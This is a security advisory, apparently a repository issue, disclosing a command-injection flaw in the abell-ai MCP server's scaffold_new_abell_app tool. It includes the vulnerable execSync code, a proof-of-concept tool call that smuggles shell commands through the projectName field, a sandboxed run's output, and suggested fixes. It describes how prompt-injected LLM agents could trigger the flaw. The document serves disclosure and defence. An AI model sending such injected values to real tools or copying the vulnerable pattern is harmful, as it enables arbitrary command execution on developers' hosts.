Security: scaffold_new_abell_app projectName shell injection in MCP server (Critical RCE)
- 主要语言
- TypeScript
- 星标
- 443
- 派生
- 36
- PR 合并指标
- 30 天内没有已合并 PR
描述
## VULNERABILITY
The MCP tool `scaffold_new_abell_app` interpolates the caller-supplied `projectName` parameter directly into a Node.js `execSync` template literal that runs via `/bin/sh -c`. The handler creates a `projectSlugName` variable to sanitize the project name at line 67 but the raw `projectName` is what gets used in the shell command at lines 85–88. The slug variable exists as evidence of intent-to-sanitize but is never substituted in. Any MCP client — or an LLM agent with access to the tool — can supply a crafted project name to execute arbitrary OS commands on the host running the MCP server.
### Vulnerable Code
```typescript
// Line 67 — sanitized variable created but never used in command
const projectSlugName = projectName.toLowerCase().replace(/ |_/g, '-');
// Lines 85-88 — raw projectName interpolated into shell string
execSync(
`npx -y create-abell@latest ${projectName} --installer ${installer} --template default`,
{ stdio: 'inherit', cwd }
);
```
`execSync(string)` in Node.js passes the string to `/bin/sh -c`, so shell metacharacters in `projectName` are interpreted by the shell. The `z.string()` schema constraint provides no sanitization.
---
## PROOF OF CONCEPT
Attacker-supplied tool call (any MCP client or LLM session with the tool in context):
```json
{
"tool": "scaffold_new_abell_app",
"arguments": {
"projectName": ". && id && touch /tmp/PWNED_ABELL #",
"cwd": "/tmp",
"installer": "skip"
}
}
```
This interpolates to:
```sh
/bin/sh -c "npx -y create-abell@latest . && id && touch /tmp/PWNED_ABELL # --installer skip --template default"
```
The `&&` causes `id` and `touch /tmp/PWNED_ABELL` to execute. The trailing `#` comments out the rest of the original command.
**Verification run (sandboxed, no network):**
```
uid=1000(yin) gid=1000(yin) groups=1000(yin),4(adm),24(cdrom),27(sudo)...
/tmp/PWNED_ABELL: exists = true
```
---
## IMPACT
Any user running `abell-ai` as an MCP server exposes their host to arbitrary OS command execution via the `scaffold_new_abell_app` tool. Since MCP tools are typically invoked by LLM agents, a prompt-injected payload in a project file or web content can trigger this without any direct user interaction. The shell inherits the MCP server process's credentials — typically the developer's own user account.
npm package `abell-ai@0.0.9` ships this as the published release. Anyone installing via `npx abell-ai` or adding it to their MCP config is immediately vulnerable.
---
## SUGGESTED FIX
**Option 1 (minimal — use the slug variable that was already created):**
```typescript
// Line 67 already creates projectSlugName — use it:
execSync(
`npx -y create-abell@latest ${projectSlugName} --installer ${installer} --template default`,
{ stdio: 'inherit', cwd }
);
```
**Option 2 (preferred — eliminate shell interpretation entirely):**
```typescript
import { execFile } from 'child_process';
import { promisify } from 'util';
const execFileAsync = promisify(execFile);
await execFileAsync('npx', [
'-y', 'create-abell@latest', projectSlugName,
'--installer', installer,
'--template', 'default'
], { cwd });
```
`execFile` (or `spawn` with `shell: false`) passes arguments as an array, bypassing the shell entirely — no interpolation, no injection surface.
**Option 3:** Add `z.string().regex(/^[a-z0-9][a-z0-9-]*$/).max(100)` schema validation on `projectName` AND switch to `execFile`.
---
## REFERENCES
- Vulnerable file: https://github.com/abelljs/abell/blob/e51235bfa0bc5ec74a5cea1e4c76986575bd47c9/packages/abell-ai/src/mcp.ts#L85-L88
- npm package: https://www.npmjs.com/package/abell-ai
- Node.js docs — `execSync` string-form vs `execFile`: https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback
贡献指南
评估
这个 Issue 还没有评估数据。